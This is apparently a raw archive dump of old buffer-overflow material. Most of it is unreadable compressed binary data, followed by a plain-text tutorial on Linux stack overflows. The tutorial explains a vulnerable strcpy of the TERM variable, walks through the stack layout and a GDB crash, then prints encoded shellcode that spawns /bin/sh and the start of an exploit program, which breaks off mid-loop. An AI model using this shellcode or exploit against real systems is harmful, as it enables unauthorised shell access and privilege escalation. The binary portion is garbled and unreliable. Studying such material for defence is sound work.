o.Z>2ov}؇kn.QāZfm;m٢ʳ<S r}U^iG 5čJˊ*JqR?6Yf̐C~ )l<)0يډ*'iTIJ[2w. lՕ@}n7 "jnS6&)XՑj;^ a1v_/@Eom/)!Ka|E>Qg?zy1,[}+Åܝ{j9C6Ĵ]T2J01̙&Ձnx9.j\ 5H\pF%%zsRrB˔3A MD_ʿ-%oRҢ9ms~wn]Ȑ; rzĘv|Ja_1 hے̹|іgu7Ddk^1VH@s8;Hg*E 'CxLɡ@xɟ6Yl$hq5v~O?9Cs Ւj q* Sר&7Ե Hͱ z0c 9 w:2 Ƚ)lDEdQUMOZHP^&?n^?T,L@0U Wz7{>C2Wb\ a׶}Ś5WOo3ʹe_y5GDRv0 \`A`N9Ho%?6f cuu}FHVdL|~&0WJ*Q:Մ"fso [<֙e|kn˃LUlm#Ah@tМN28]Ȩ ^8Npd S5'!0'ES;'EKND)T0 ʌ5ʺt!2ZXbtod{Y]t3q@@c1FO[޷wѳo=mak=?G?4*??(>ӎ=Sd#Jp>ue;;wlo*b]mme.]}fU࠿X/g;bnE4_a8۽7#"x] n[-?E{4{hYg?{G佌͟Phw N٧Q9[oZGy~׏lgW_.5]#[5}rq2( /iȼ.e{3,>IM0rj;W_} '66: 8%#E'/֥"V_۬<5 DCnEMd|dxlN֭hz٤ ]3TQoxiF][JER_~xݬE(QJ.]AH~cWWX WX WX7PTŹ} q8ˮbzWܯ;|HObEQ_ v{ 2p00g`30aAҴBQ/=?<Veh]i碕ЮW^cxhyLl!VnyE(kQ]DЕƪK힑Uu^:9Wq.}_d1yX^8h|Zc uΙv+.W^'#gDŠ RUk*(JS娆oo,[RXMձAQ.-u,IԀ?]v[5n.`2V9t;+VxC*j*A ܳϟ:ǚl|> ip TKz=TfnEڴ9͸:%t5;pkSB1Hm!}{Du0<ǥ̄>˚G=#.438Lކ@7#ә!}`lrƲ u}90,S%TeZω&;3O֋ŎF4P/CNض[,kw3IڙZYeL>z<:n{̇#s Pк~PVKd#=N|W@GfxYߋiiWN#x9"؉C!aRVKc# }ݡm<Ҟis|0ϼ6@l%YKj!h0[#2R;L\@iw,'#O`|=ODžS_1rJS@}:4,J`ҝ`JEr_z'gk4̓b(㰓!*3lzi~ )">=mc; }E\H_F ›_p( d",`/A~db}eQϖFQ5.tJR8*:Q̪!xA OȗM%EʖdU2h ׹Jv_$i I qG`fmDV:,qAfh HpiR/wMX~G C!\k`y˓e$oMQ'/l};G1)ă0P9M {˚U r  q8A:jkB,qdOt T$R-흨G#80cKpS8䛉>RMÞI. %%vO@:A_*Bp$oYb ꬎ[[ws+guZ@l.CcX;$kBPN# P;"Â=폋p8sDU :MaQ:L'GL2C30R_GafyƎ:9g] p 9R$T IGuXVl!ZꮏI*JyM(͇^R-B)4C(Ӑ)$t*Σg%&v;uTr#2g4JB,^zRUu~ F˄489΃ @G]#y[_۹q B\'Lv]u\F+[r=˦ú?m]Efi⬱!H rA^]@V"cnY'h~D6H^>.Uc mt7MT_VpEmu¡5cn^ .wH50i|8pHZ}y}&s]l4\W496E9Yx"klۈw `UlSK=|m_>GhOf`3Z`/]=].&_ϪBٯ_!aZvϤ [^B4n%kn$eH|??̒|-cP>sɥ|mkc~`~Y}?ҟ[`@(uW\Kl߰am0daGj ">5ˢbw^ׁ']wيPG ďgѫL)͘.u'e uRBj UźB|PzZgX%3>E>)Y((t|0Vhjپ,l duhG;gz~ @&nɫ5$YN AJ3[H |ҡZ٤ʛ% S 1_6ˉ2v at:c UqpAdsͪI*cL+(M_]1<:KJN $5aR&z<' z*nܮfîmpXn&|s{6GѯG󛈟(n؉5X@(2 g>Iy> [EnZFVjR`(b}.ݚ[SYaAa4Y͞CFH僱(=rRl_+1E<. ZcKo'SE^k~}._=MMϐl~X2mzWW% ߎ6(74Gڥ0{*AFA%F]^_{-=/M)m.͠`nO";d3fitR0y{\qSݣFW ^?jeԭS0[ϠQxD)nj,;N4b}ιs(\R-1{)]Gn.).Y&u#6M`IlRxa9D^F3ȇ?zWo W7BNbb+Ovpn1~ ]U;=/&ݐ] ?4Rt;Tw\9*"W~45 B@\NBu?4mE/;r'tbd3P8h ?  ]Z r#B:*c#!+eBl6'K+Q> @cI]Wb'<$N)"?7󥈰y}^yFSĚtn1@g<(N8iq_3l~{reTȔmWP9P1 F3SOH>-:Ŕ~1RJT^Fߙ ?YwY^)L'u>6 ߃l{.:<'ypw|(y_|D]pN 1I_M<'/Gܜ7xsg<*eB]L: =?#avȃ"88gi⸮N ܧɉz*nc!Ar*3V;UyPF^ 6lԚywWP)Ր'yОN~1'54`]&\+2?f&CmИVvXxxDW 21NA"2$7V4pq M.|k{m=0 _}/!.(Ge +{9uU1X.|tYAwЈb8O٫q.K?||vQ$.$X5 F1-o茜8GG4+c#C2y1#k饿Nw'v}d,:B&vpY#($kpI 3׍-]gNL[eVFp{j6z(>Y1Ypy$eڟzLaib!BfY[ cU/*B9U:ԔLdHvܮVs/q9Gi}Gul?& W-UUկ>6Ⱦ%4}GP//c\MX覴Ӫ6ժv"^0 j?_]FEo -I;ezq4 ױySu, ʐ Bm7S(;eJȄg{SS^HUQ~ԭ^|}gWFy Cw7G$rՀ>I]qg #_#f{0|q`euǁsXVi J5ԗKpW:J_g76閹dPGr>ƈbM7MmF 5|jD~N%1Ո?NP dvi5 [|-sGsbAd˯7f9oo>o?_? {a'uw䙠?3W'Ǐ~kى_o6>~IRG7nQjPo EEa02^#mݱ]w-;ɍydϣ^~eoƧG}<'/[СI*b)sUʟZ2_A /')T7 YhqXV^igԾ('}l{܅Z}$[FPA z- 4|%#4,wSVfN 9iIы=f}`oE8?,-IԜ!I3TgvwCTb/#᫯p$:]:΁('DŽ,b.e cH7m)93Ƒֶ|NX(  ݘvX'ɠŠ%j,OgO0&Pxd>;^"@QL f4!ӞM igѬq ?{)緺Lp@Gmh4ǫ/܂2nP^~Ts&t6@$,/(P!Jc3gNeC#Vw0g 0~{0 Q9r!Zl­ )W<6)庛%>GwUܰ7?7Jи\;*Tn9;r7bxH4MCtm}$0 "Ǐ /gEknyNk*r˵K icB :nLgKq]]'v 5b0$UL";%=GlK;?6WϬ=_J(g|"YAx-DvFt8f<׹XS%qė{}PrFh{ĽϾz{>0<+-娒,6錶O-;ʈ,c oMHQ|NCKvr+vNcYT;w&iT8^blbQ}53Q%mvypmsVC˫ӲYL ^ͺTB TV9`$H 2GYwxp]㒆×,JFH_;<v$$N^kySlƨ=bU , pΆ[{q B%gpbpWnm߽a ޗu:P8T N2@ڿU8vV Uv>D{Xu)n"QC1vB[!aBHP!9kFu'VH !a=oU$َqȈ/?Y^Ljh>!/tJƛaaMRp)p3\?(bS~u2>~ ^.[RJJLKZΙ[%~UBt9(,2kK;7 GPRٴ:Zqi]2t77;M&Ş &orr!rqVZ dw\_-O^(稩4Ri .׍d_su8Lg ] MͰljk|w҂xkJ~F<Q{_gj^bƤu3hBB[h3_GL}!a8R*R0{x6kOAZd6p)nrg%ЅSC0*x~^ UwhWOS七8z@K3UKJ+=.UT2cZq%ElBw`J&1)ּ`|$ 45hb%_J\-^#Hqfq}Ik/p9Rܐle gymmw@U(2xmP5/zYp4 qe|d XLJIlqW8}B̬\b)—ޣf +w*ܖ{]5T@8[Z:IrOH3z@#mXۂ#Eil@7Ay{քvu g'sƗixQVuZ)iէ@U]Bp4c 鼹$Y_nvz>7zѻq֛0[#Ѿ!"쐔Ie; D C>Gu~lϿBO*cht76ixY.Re:<|!&%;,y%|W鰋 3@W*jU hyǎKG/~r@ՄҢZ QxYOXQc]IS4f6K1A1v 5F&u0BdH¼Z?'Br|Zr=^C <ZɨXG`hY!^lêL Wtܷ'7K,إ@q]/VYN~Wj}Q|S-xFWb5Z2}c[~]HX@¯X#E/*ߧ:w<516ȢjƓh+-\; !G٩-t ~*+jh 0Q,X(F10s E_xNF)$ s.v$Jj/Tq͉(soyqX=(qI`>t;Mټ)S;yspD&0#j@2$-D 'n,v-;: KhMfK`iur懤 pgF, 㢄*k*)M:;E-r:}cN1-8+O {:T<yX$Ա ݁ˠʂH.1*^1~24B:\ɲΠ4gh%$ Z|%xsY xdTO^KN eqll&Z:}n!zu5[6h *sm=mUC4VaFfw=M#tvUiηn LC8c4q >˜K(M`\^`tR‹\47X>93og PK$濚|Gw(dwk[ n 4EGBr_2wJ[fwW]zOrq+J(c?{%ʘ\Z{%Jpd8P^4Tcs!̺Nm1΂Dz=*hno\:mNccxr^w{]ww+9h32|BGNj"dߛoyJHz}Z/*ڪyò&}֌my{N-n(y)vuQ9LםR*_C);DACvv}Gglt뷳rvѠa^(z +L f_;だ}v9.ڍ^@{ŋO}?$u_/cP0D;29#ţ1en1]5 ]Ȃ5 +F Vt/Wq0f-GYO]t9n^MYz;= 1@R$h ;?IY=GyGi}jO/͋'dV_|UOɬ~5/F~<_!SB|UdOӯ"J})ß/OREœE/d MsSP*͘Q_,O_n$LigmsF΁MN`%tO:'3oKV}Eqϊ1TBX&҃ 8'9ldW6vTvmS\ZqUgαJLN)F%7GcGYͣIsbq⢧<=S;W|i &DˣBf)I!j^?JUu(>DMJ֔љF HмI_%֞oS`rvo q' m?w~*EVyrX3a>XÚARtja8?KE üj=a5I ƻ\I3}m]NS*P~a8W\6]$~LFRCУ1_is,4o/MO<\&]=Xv ,/{gHQx7F3 @)%a x\Ň7=jۭevf-:Ksd4ݚAvR V nYJR%wF73f7>4nmǵtp_k7&1z dAnRoyk+F4nR"!pwTgT>F>Vs4Z GP]ܶ|FpyHoz<{~9̖ V1fz<4X^fR) kMOaiq0 7v%BoہXBO}Ĭ RK}3Ç>X-,gHAGS\58콰44=a\g7F3 pᴷ* v/ow:WXSâgzتIjѯ]`pؔ< `)ky8k P=YJRwF730>æqbSd|E"`0YlF]*&cssU"H1O&+D} 9q͘E/eywi_"^TtEP Dp_S4#9{EmC%@F$Br݆ޅ5`BUNRm3'pUi J%VP)1| P+6|H>{!ur>'n\SS |u ͜SM/&MSÐzIw&sN8qO=/wFP4 ږR:-w1<5ݝr(&FCWw#5J4h(}M7N~qrkNMAMPqB +inQԱre{-+/^",pλ¹7ihu'Mz.hҌeK[q[Ae]DfP3$xxVf O`7r@}:fԍ:C:`;$Bv[ 9ܗos.PA0g0{Lb<, 1E͒^օʡk]#cב-tZRFT *T\ '\d‘O``GɆg}ˊKQb$.)1JWH@q,^f-D^nl.qW$#?M={HZG[V@Y!=`NsxF4#/;o+pKV9wQrRO&XJ Z_8&B+:U]F0J(t*g2NI} 8"#<.ć⌸$sj#-t8a 3S0fۡUѧ#$FK5V l%f?&{8Ϊ̤eT+ez!)FbrQ+vYyl$si;Zl&g}0.)[A10֡-GnsX-eCHbK2S1*vȣ&뭸zf^lu- ==Eg ({ #)*eiTd[Axs&bj$#?`ٳ((W3n:5/L Q 163yt - 7 /J#RoA0}mB@.}.YPڷ•8W[W[:e3Inq&/߆$o6>ߧyL49;JjsEwSji0Qb y5]P@hU-={D1Ӛ,^\B@"Y5;6׽= پJKW\XuWvU-.l؛ڝ?vG !wTA\%rhũIyv5P.ެ'[tvj8n;4Ci=tF܌rf'+1o1ɫLK-{ )}6frz+s)B.tP#L!6-:Ao6!Yf5tr8زX*Lf׫Jp3=ØSc*IOnDp&1C܎mv4soAjWx=ʰMCc讥r:}rm0ӃGU^>FoWە477l kxSqUK'zϪ|U.=@e}ZMu6߬Mq6옪fE/<y Q頃؍x ;/:b^y.oZfgn9[)WZ3=O '%l=('o'6:'6`Uږmyː_ikF~=}@ʊa%Hx25|ڡ"W_ Ԧ5 B:6FT,F9O*M17Kam4EvSB 55+T!=ǶuK&8,6R3kz|J.>w>~>Pami_PL~Lp`6wA }uWE]_L} 5owZɳP7U(U c*>+\&[0r[Ί\hMlPS-vXYo4N#WGKp/Z/`6=X1O(~Q ::b"LH5sxso!R>Y w6;";201k:Zc[ݖET<;bSf$}i{-C l

. SF#5rk(pDgoB{bw$8޶e,؊ܸuWL":l~`3Tݓ"sY&D&u`zb;:sC xmAHaK䚹=dQSJ&߆D?/O{\Fp̀2Ό 0(`0@Pi䐆KGTp Q ^F:O@Q[v T r#Ir92%F@0qԦP\_ Zk+2v7w]f]\~ɺZAV0V;T+W+x9J/2l.ѭ?-Lt 0A/LPoX3i)L,q%ݓ+xB+KNv塒۲P՘Kn4q8ZU-zKfwEY6 _I] &c;Ȥ0^TU2y^ qpW..^.+q^VoËuCSg5U̐][Jhow,2d?\|s8Gtnb_Ů]i)PdzF)5k;|#df>ٺ.f}UnY'3R>zRo*S\ ,0vSlvtX::RKC@>>,W,ɽ|Lp^.(~'4@uWqjj"=bXHŋ*aa/_I̟X赪AN`U!ʐ͓XeRÄ$g{=@%6a^u4Pwݞ5/DBEbPpZށ"!/b}K3 ^c2awGIyJtwNq#+ q'Pnt0q; X9=@}n@WKY1:6M,;xOlƋkƛexJ!{-˳< 'xʇ N AZ4H$ b:]J|~PC( Էj5|*إz\dЩx:`-{M8~ mV O3v=/+Vk16Y[G#6*Z:?ɶ4Vv-Q‘(RPO^%lGF3 ʉ'٢^J&/Zӂ_;ш9ϲ/}Q?e˭ms'x2%;C-FE24S\k , }TpNw@+ήuO2=>>2!I{a-Xf.z)%J#3wׅyAſ`hbت*ټ<SQ!gymƾĜ8ܘxӑY3HIH[ vWYhhEG@t hA v NGTk4/}5ʀ+zBQ(>(-n {|)-QSc\vPr5J4$ =B;\N><^udhv2?1pA0X~ 2[H(0P3d+DUG}$O2P魝}u׽d~%{ɼ^27tb݈Vm.W^v^L'O@|8:B<7U|f[mnFt8:kHZ Şmj\QWubN2;1IF(n|vTXf4U}~]IˀÉ70:iСn7jcS lOl_-A 0AcS @jU^ʎJL!XafGTm\OؽR/M)+/ 08`<-Bm/q)\3+\,!%̥&q!0ezMT,~2QEs!cW24{çh/s9Z H.f綩~WY+WLu/7}e}Q̆R"$$mLP #;c*iG,Ѹq1]ְNJ]Ohᮻsh/zE zaf"a'u' 3~f[6w7t.u ;P3K.,IiE8 PJg@hldJ4&^ۮXǕ^3D;-i&o&q'V2 8ݚQ|U+R-̢ "ki7J7i(_qP{K dyk &{etrL퇿z2$;;}`+X" oog B:; M>Zlh{/L9uqwZքׂ;h0gtY'GG @<...8J~v ^o\d=>9*lGae8FC T툒=fѧd Sv~9"zFc4zcgxzt@c2TQ4~zt|c? ,AAFL"PAAL!#pE-GjFxPWNgR0怿YwQ3vM\ox 18zJ('?ϢOl ,$64 `#jc;)-1$>B?&+䫕,"nR TwcBiQEZ-we~"4ᜟ3Ek+ʾ4ثm__CݨBsT|:s@G3sY:;<A! ^73V`(ʎ6i:;8c3X$/:E v4ѝE6egpKifX_[Ȗ]«Ͷ1_֋^;B]εk^_nYVL[$?߷R;v*9=R%|>1jҸn.7{_mii&ݮv nR_\^w/vz%y|[^=[/vlyزU)yU0Yx_,HڪcQCaVr/髩u[=jw?~.+Rbuffer-overflows/linux-stack-overflow.tar.gz100644 0 0 21472 6347417774 17735 0ustar rootroot3linux-stack-overflow.tar[koHgyLb\q&^8v`;H̢E$I6MZSU$e;H,>Zi7Wj`M9OjgOԳgӽg)?Ϟ=PO>5^*`Zu~Oz|fn*K5Ooɽ#}g'?/]?9&oǗ'GuTkUCJuBZ^jiz>ǭ3,Ciˑ^d7?jB̈}PN_^(qռygTaRFe63yb>q^vV {4A4qJOf)1ҳ,We_oe*yltN65n& 21WN9ީc dFZ_NOe])"үGĩѹLf7,7j4T3rr2BwRU*JOm]uԳhjz9QΏ޾-x1V]5]/ͬ/UVr;PFr^n0߁^sr03'30jZTF\h)RT^Tޮ]e!\!ل%.&巟Ujc|tl*86΁5YOQ9'˾q [z|V"yHDi2-uV+0l*0I1f>| ]KlX/0َLtQ?=^n'yfGr.,.zfol.s~wA@4!F}YqP!ѭgֿi;L+jd`jvՆ&o}T4WGgoA}y퀷+X E`J% ,5ZՉuSҐ_~zI,<"6VD_{+Դ%ޢ+fϬq}wÀ/5܈]P$ӬouVA+!%hєBtJHoN+D=»U;@BZ yo|A3X#U_%'e-!6Yp& erRKl<ޜe mUZ ,o}v[ 녀ȱMSFP`қOS%~Nj. .*Gs q0Ô_5d.1()2A-%t+,n]|ءPKC c_m)0kPv1b|leBa©m֊[J/D s ѥ.K5ig(:ԫ@waѡJ"d,섅 mj-FxtdXF[O/MVT/:MM29Y/ vESޒ1S$`yrV>O/O~|Cd\.)7Ƿ8ъC_MN4O EVZXrkW#8RzJiܜ%+(V`@P-ip)7:ۼOx;F;;> $,^>s)<!_:쇒`$ Wʤx“Pfk4 .QgSB%tU'Doˊi6jQXJ~g8qj遍vSX) xq1 (.Oɏ]@J%P$M[luaUL a!8F!Rsya|/w]ex=4hxNH3ln`$b۝'~ey^{!U6P*8ĠI^,W.|cΪ+N|JPPȯhI8Gߌ  vഘ_KWw"ֽA/tb\b2PqJ!jF7Z_7ߧ O;>oI??Ԏju={I =ٿEN*mZAϛ~~EƇqd _ԉ,Mp!SV0 `Xw~Ce#ܡ[ [>AVHWMD W [P= h ʿ7E13]C1'!}:Fj36HRa|-Kv2I0,cE|qjrv M)6mX!_++ʌFj FLDӈW?޽\Loڕf9nu8 q0? w<~wЄaF})CFE;ZAqȱ6s;DD\mnjި dc-QDTltHWԳBa@+b[ jc9 YʨveH= b$(\segSCL.)w%Z\(OY dZBbQYiTl+24Pkк0ŵZȫR򩜙q2]]@yq.fkt%m~)v5֕%kCI憦]l*t:M}1xMK 3Y&ʍD# cGߔLbAFp{TRjB@> QR_Bw<-Rz "?Z?\APܸFRFiUj -h0MaHLAݐgC ݗF+K?S&T)84̱.;6 (¼'78BIeNStq$5|`z+Hw#xZirĔty}-!+΃~l>[dJE웋LnrF:=8#5~Jůd #ACC"4oo,!erަQwXZ {zHӻxfp~vvN/.{{oպՠ@;o*-8K]l &a)|8&Lb-z>QΏ/'OE5ݽES r&WyI1rTЙ .:iHG|& &I;T2pv`Sn}8Wۚ+.2Hɐު;.&2 C27;);U .%Sa;bB5Ul/tArk_=$c ug řo)r}Y2_D.\KTp:k$JcM-66 1UP]W)i0$}m> ./9V..N "$^_ go?{$5Lab*=/VW%^: NpiH.R 1 @ԇQTM.%dA%:oP'́5yo .)O Hd|xmbmwF޹Lo"ݦ݇|n}^ ؎/ 6?0d^++C2/ʢ }v;ݜ;\y~0&]G3}tӨ]L_[) /uI{*7Umt@{S.6t`Ն4{"P1Vh󄉑3;沀\:T s6LUZ_I%oSKuRB]{fx/3j0iSTx9(g|pǢVC[.zK 5H# W;ZD!á&)q T3QQ'9osP>xGuf|8|nfiN#YzRFE:#)aLWԳq[Ie &$<&'ۚߙd]hQsdAߋP`${eykGG[r}plm`t3e{Ae\^(gG]u ClJqn;8CIWt3C}S!~se89 d/UZ@/j|i?b`}8/1Dj9)H=dJokɬ!P߈Gh,pkO>}{ ՆI]ҩ+s7/0nwr3/,2eB%E0kQ#N~sAd>Lp^QiO]/$FέkH/RϢR&0[K^)CoOR5T4bh͛󣋋SB~R֡Wk]wp}R3ˑQH~sBY?'OweF{}?~nQ4z7>R񗸟6!HrɽCNɮ}kPRMçsD6C~2A]Bt\B :I|{.{" eK%ɧ[GFdTkjɣfH$ f̌w^ HNc0RȡGW~W:tJQ8"ɑbBy;{fX @??A JM<~ F\ꢱ{йu 녇O)TC-39td1HQTvڳq6|dd&WܳUGNJ5|:k4X vR{%}L~F]B$'W/XM<~rfd4}ayNTZn ӏ+ 잔R{JE+ޙ5#dw=0-C٩&X {aѢ6_Hm Lx8/ I[ߞ흎tƌx>[;/-7lOsS|OOV#{VϕpJqWs|ӸY=֠aBp[9NK6$u($~.N\7fФUy mcIE>%5k*6UE^>?ҲIlTEP1v͔<@jG=/^ 5W'47vs3Z$uF0{Ƕ7Փ֖c N{ lqؘw$l3h>܏24МfL|3c92KezՉ>O<;U< \C gW!ns?}&CҸf#6Z>ª"vbEITxIڜny|e(6UKvuHsfv$wܳL35urG5PO5}Sx>E$ "=,V&><\+ ~pQsf|B9()5qp9Ho̬Ė)0hU.n؛O-Gx++ST>AwDoP)Ƣ\AbLP`wݘK`BfM޺ _Upwj+^2yXӐع+گ*̄"2&g Q D5>-Nj2Sook-lU($0Ȼte59r-ju3烢McL l)DIa9?^:QYNA/ v.$(GԎd Y0%Mz^ӡ$cwIsO2msT"ŬL;%Ah+ǵE/m]YqbfuRxtҩND-To9j2Npa[`kQ]pgd (sut;nrBuFQns6-!k폺(Z_oҦ-x賭ĝCὩ<^,w0$r1X!s`$C8%gfqڸ;md,#WT+~dxg+|qn=_zW>]ϱ܉ ԗ|}w3SEN< IHee131F7Na6Hz`0p$=,IL/+$LNBbe:-zX5vؠh@ԭT`=ת+8uG9N)Mi9^66Uj$d26ѻ+V>`0dn҇_Myh"QʵyVn+*4h\AԹA;3m,] 1x0K!EQtA䶾8AO1=WWίA)#7W/~;=,>H^qcZb*cW#b<$q?@҈12[(?VZ: ?AP@A% Ӽ C z88pM$xp84|^ ngkÑ*.IlX6П]#Vǂ"Ź7}){=׮ ߦkP8Eך_k @ @ @'bmxbuffer-overflows/generic_buffer.tgz100555 0 0 12623 6405660551 16161 0ustar rootroot`4generic_buffer.tar\r8έ'JAXD1ޚo9»w&E$ k7XiNZ^n64nQ'w\Qx՜>`87(DUy؁# cw1v}>|ͫӗO^ ^>~]Ub1v,">UzwÉ]{ϗg5#qX{V0_^O0#HOM8؂:X;1¾. y@j;F%2˩jLDlq^_nB<>ssWTJ:nWQJIjkీ՛ib ̈́叢J&H04bbB A0u0~2#1̄sΔϺZC]D2Va\ާT=O5{DDNhPU(pL!T݁q}ՁNtȠURPTJhxRH8y&T|nS?hw2kv> bNu4rGѨE.^fh/:wL& pulTNTT6`+s<\uput<\+hjÕm`>w(Pg{0Ͱ*hPL<=wu^ EӱT~i8dsG8 GF=C'#hģhT̂KvE4 cyhoH4Zqag;kBȸſȞ*pjg!b>pҝz'B긅(on(Ywy$W|o# dj(DqGJ;Tٖq *ke s̻+!.jP-{4 7Aqnj{,@0 vAB.%.W/+{a,Ԭd8^5.\un+}+4=߂>46PHr._?clF?ɍWF?Eh]OTš;lSzqIRrSRwhJd֜=Z Gub;TZH`T$b]:.#\l'1v-EqEiK!֔/#$MXDZwJ9jqeֻ*RZz/ժj\?b)XtX`Y>LϒXw%d p&00K+;LTI % ))jR3ᎃ3[TFlet$[GJZJŧ&K9/|/Vs/pG/28Cr۝T/l o>[cϞ`m.r ٮA޸-Ew:ĭchHgNC4yYSMPu\n._,kRJC~ðvZ:;Nip9/9^ŠZ'BP }}vwT/ C^s3Sjx3pEY"c_֘#mɍ}L*9%sMOb|O.4~c?7XߵLK07{[QҌWm7FG{>3?{ms+w]͒_AEgONE`6#WDsac1u/^&%^ E<\ vU_)K'$}MtF䰑Ob/"C}!ga0v kۄҟ ʫ<zHŋ*MP|K$!Q`9Pdc' 8#+shȃ vc:ouDefpqz |ud_4cӆ-aFgͯ}QhQv屯1u1`6Nj$_R`u20SX"(@&W:qbU$}!Ӵ0}!X]8 @N/v0E8!%ZJA4xD|i& /\q0 1`2 2AoM;=}CoddL2nW+~C7p/=ަ >_d8gWzy!<VOgQyNChLBL{#۸K}1@c{u玄f%VQ,8?GZ"%_6az?GO?r+@]a`,~Rdo4's >K0)~?=? ?/QO}8\Ns4ȣy712H6 #include void main(int argc,char **argv,char **envp) { char s[1024]; strcpy(s,getenv("TERM")); } $ gcc simple.c -S $ cat simple.s .file "simple.c" .version "01.01" gcc2_compiled.: .section .rodata .LC0: .string "TERM" .text .align 16 .globl main .type main,@function main: pushl %ebp movl %esp,%ebp subl $1024,%esp pushl $.LC0 call getenv addl $4,%esp movl %eax,%eax pushl %eax leal -1024(%ebp),%eax pushl %eax call strcpy addl $8,%esp .L1: movl %ebp,%esp popl %ebp ret .Lfe1: .size main,.Lfe1-main .ident "GCC: (GNU) 2.7.0" $ ok.. so that's a bit and now we need to know something. We need to know a little x86 asm.. That's a little beyond the scope of this article so you might want to check out a book or two.. Anyways.. here's the important bits of that output: pushl %ebp movl %esp,%ebp subl $1024,%esp .. ret The first two lines are called "setting up a stack frame" and is a standard part of code compiled by a c compiler. The third line here is allocating space on the stack for the "s" variable in our c code back up there. From this we can get an idea about what the stack looks like: +-------------+ -1024(%ebp) | 1024 bytes | (s variable) +-------------+ 0(%ebp) | ebp | +-------------+ 4(%ebp) | ret addr | +-------------+ 8(%ebp) | argc | +-------------+ 12(%ebp) | argv | +-------------+ 16(%ebp) | envp | +-------------+ ok.. so what happens when we do a strlen of the environment variable TERM that is bigger than 1024 bytes? We start copying to -1024(%ebp) and go to -1023(%ebp) and so on and we SHOULD stop before 0(%ebp) but we dont, we keep going and copy over the value of ebp stored on the stack and the return address. So what happens when we get to that ret down the bottom? Well the value of the return address has been overwritten and destroyed so it ends up jumping into the middle of nowhere, that is, unless we make it jump to somewhere useful. GDB - your new friend --------------------- GDB or the GNU symbolic debugger. Using this useful util we can actually look at what happens. Our previous example: $ export TERM="01234567890123456789012345678901234567890123456789012345678 90123456789012345678901234567890123456789012345678901234567890123456789012 34567890123456789012345678901234567890123456789012345678901234567890123456 78901234567890123456789012345678901234567890123456789012345678901234567890 12345678901234567890123456789012345678901234567890123456789012345678901234 56789012345678901234567890123456789012345678901234567890123456789012345678 90123456789012345678901234567890123456789012345678901234567890123456789012 34567890123456789012345678901234567890123456789012345678901234567890123456 78901234567890123456789012345678901234567890123456789012345678901234567890 12345678901234567890123456789012345678901234567890123456789012345678901234 56789012345678901234567890123456789012345678901234567890123456789012345678 90123456789012345678901234567890123456789012345678901234567890123456789012 34567890123456789012345678901234567890123456789012345678901234567890123456 78901234567890123456789012345678901234567890123456789012345678901234567890 123456789" $ gdb simple GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.14 (i486-slackware-linux), Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)... (gdb) break main Breakpoint 1 at 0x80004e9 (gdb) run Starting program: simple Breakpoint 1, 0x80004e9 in main () (gdb) disass Dump of assembler code for function main: 0x80004e0

: pushl %ebp 0x80004e1 : movl %esp,%ebp 0x80004e3 : subl $0x400,%esp 0x80004e9 : pushl $0x8000548 0x80004ee : call 0x80003d8 0x80004f3 : addl $0x4,%esp 0x80004f6 : movl %eax,%eax 0x80004f8 : pushl %eax 0x80004f9 : leal 0xfffffc00(%ebp),%eax 0x80004ff : pushl %eax 0x8000500 : call 0x80003c8 0x8000505 : addl $0x8,%esp 0x8000508 : movl %ebp,%esp 0x800050a : popl %ebp 0x800050b : ret 0x800050c : nop 0x800050d : nop 0x800050e : nop 0x800050f : nop End of assembler dump. (gdb) break *0x800050b Breakpoint 2 at 0x800050b (gdb) cont Continuing. Breakpoint 2, 0x800050b in main () (gdb) stepi 0x37363534 in __fpu_control () (gdb) stepi Program received signal SIGSEGV, Segmentation fault. 0x37363534 in __fpu_control () (gdb) ok.. so we get a segmentation fault.. why? well cause there's no code at address 0x37363534. lets have a look at the stack: $ gdb simple GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.14 (i486-slackware-linux), Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)... (gdb) break main Breakpoint 1 at 0x80004e9 (gdb) run Starting program: simple Breakpoint 1, 0x80004e9 in main () (gdb) info registers eax 0x0 0 ecx 0xc 12 edx 0x0 0 ebx 0x0 0 esp 0xbffff800 0xbffff800 ebp 0xbffffc04 0xbffffc04 esi 0x50000000 1342177280 edi 0x50001df0 1342184944 eip 0x80004ee 0x80004ee ps 0x382 898 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x2b 43 gs 0x2b 43 (gdb) x/5xw 0xbffffc04 0xbffffc04 <__fpu_control+3087001064>: 0xbffff8e8 0x08000495 0x00000001 0xbffffc18 0xbffffc14 <__fpu_control+3087001080>: 0xbffffc20 (gdb) the first value here (0xbffff8e8) is the value of ebp before it was pushed onto the stack. The next value is the return address. The 0x00000001 is argc and 0xbffffc18 is argv and the 0xbffffc20 is envp. So if we were to copy 1024 + 8 bytes we could overwrite the return address and make it jump back to our code (that we also copy there). So lets skip to the chase. If we set TERM to: when we get to the ret it'll return to the nops and continue down to the code which executes a shell. The only problem we have now is what the return address should be. The perfect return address would be 0xbffff804 but it's rather unlikely that we would have that information when we write the sploit so we try to estimate it. Here is the sploit for our "simple" example: long get_esp(void) { __asm__("movl %esp,%eax\n"); } char *realegg = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; /*char *realegg="\xeb\xfe\0";*/ char s[1034]; int i; char *s1; #define STACKFRAME (0xc00 - 0x818) void main(int argc,char **argv,char **envp) { strcpy(s,"TERM="); s1 = s+5; while (s1